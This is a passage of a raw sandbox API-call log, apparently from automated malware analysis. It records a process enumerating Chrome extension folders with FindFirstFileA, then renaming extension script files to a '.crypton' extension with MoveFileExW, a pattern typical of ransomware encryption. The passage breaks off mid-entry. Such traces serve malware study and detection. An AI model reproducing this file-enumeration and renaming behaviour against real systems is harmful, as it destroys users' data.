lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf090f7c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf090f7c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.291] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf090f7c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf090f7c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.297] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0935920, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0935920, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.302] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0935920, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0935920, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.307] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0935920, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0935920, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.315] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf095ba80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf095ba80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.320] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf095ba80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf095ba80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.324] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf095ba80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf095ba80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.329] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0981be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0981be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.334] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0981be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0981be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.340] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0981be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0981be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.347] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf09a7d40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf09a7d40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.352] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf09a7d40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf09a7d40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.359] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf09cdea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf09cdea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.377] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf09f4000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf09f4000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.383] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf09f4000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf09f4000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.390] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0a1a160, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0a1a160, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.396] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0a1a160, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0a1a160, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.404] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0a1a160, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0a1a160, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.411] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0a402c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0a402c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.417] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0a402c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0a402c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.423] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0a66420, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0a66420, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.430] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0a66420, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0a66420, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.437] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0a8c580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0a8c580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.441] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0a8c580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0a8c580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.446] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0a8c580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0a8c580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.451] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0a8c580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0a8c580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.457] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0ab26e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0ab26e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.466] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0ab26e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0ab26e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.472] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0ad8840, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0ad8840, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.479] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0ad8840, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0ad8840, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0193.486] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8399f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0afe9a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0afe9a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549950 [0193.493] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0afe9a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0afe9a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549990 [0193.824] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.crypton"), dwFlags=0x2) returned 1 [0193.850] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.crypton"), dwFlags=0x2) returned 1 [0193.901] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js"), 